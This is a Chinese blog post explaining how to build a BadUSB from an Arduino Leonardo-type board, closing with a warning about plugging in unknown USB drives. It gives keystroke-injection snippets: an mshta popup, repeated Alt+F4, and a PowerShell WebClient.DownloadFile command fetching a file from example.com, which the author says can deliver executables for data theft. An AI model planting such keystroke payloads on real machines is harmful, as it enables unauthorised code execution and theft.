1. 程式人生 > >簡易BadUSB,攻擊效果不簡單

簡易BadUSB,攻擊效果不簡單

BadUSB 硬件安全

技術分享圖片

不久前,有小夥伴在實驗室撿到一個U盤,想看看是誰的就插在了自己的電腦上,結果出現了安全軟件的報毒通知……

也是因為這件事有了制作一個BadUSB的想法,可以在不被殺毒軟件發現的情況下進行一些操作。

一、前期準備

Arduino:

這裏使用的是BS Micro pro micro leonardo Arduino開發板。

技術分享圖片

Arduino IDE:

技術分享圖片

二、原理

BadUSB插入後會模擬鍵盤、鼠標對電腦進行操作,通過這些操作可以打開CMD或者Powershell並輸入命令,通過這些命令可以進行簡單操作或者更深一步從服務器下載文件執行。通過下載的.exe及.ps1等文件可以實現信息竊取、發送郵件等,從而達到控制目標機或者竊取信息等目的。

三、過程

(1)實現彈窗

關鍵代碼:

Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.print("mshta vbscript:msgbox(\"lalala\",64,\"lalalatitle\")(window.close)");
Keyboard.press(KEY_RETURN);

(2)關閉所有窗口

關鍵代碼:

Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
Keyboard.press(KEY_RETURN);

正常情況下是Alt+F4循環使用的效果是關閉所有窗口,但很大概率會出現自動關機的狀況……

關機.mp4

(3)從服務器端下載文件

關鍵代碼:

Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_ESC);
Keyboard.releaseAll();
Keyboard.print("powershell");
Keyboard.press(KEY_RETURN);
Keyboard.print("(new-object System.Net.WebClient).DownloadFile('http://www.example.com/example.html','d:lalala.html')");

這裏只是下載了一個命名為lalala.html的文件,如果下載一個可執行文件或者Powershell腳本可以做到更多的事!


因為BadUSB模仿的是鍵盤、鼠標操作,所以常規的安全軟件、殺毒軟件不能起作用,當然防範起來也很簡單:只要不讓不受你信任的USB插入你心愛的電腦就不存在安全問題。但是好奇心驅使下還是有很多人會將“撿到”的U盤插入自己的電腦看看是誰的U盤、裏面有什麽文件。看到這篇文章之後要對來路不明的USB設備多一點防備了。


簡易BadUSB,攻擊效果不簡單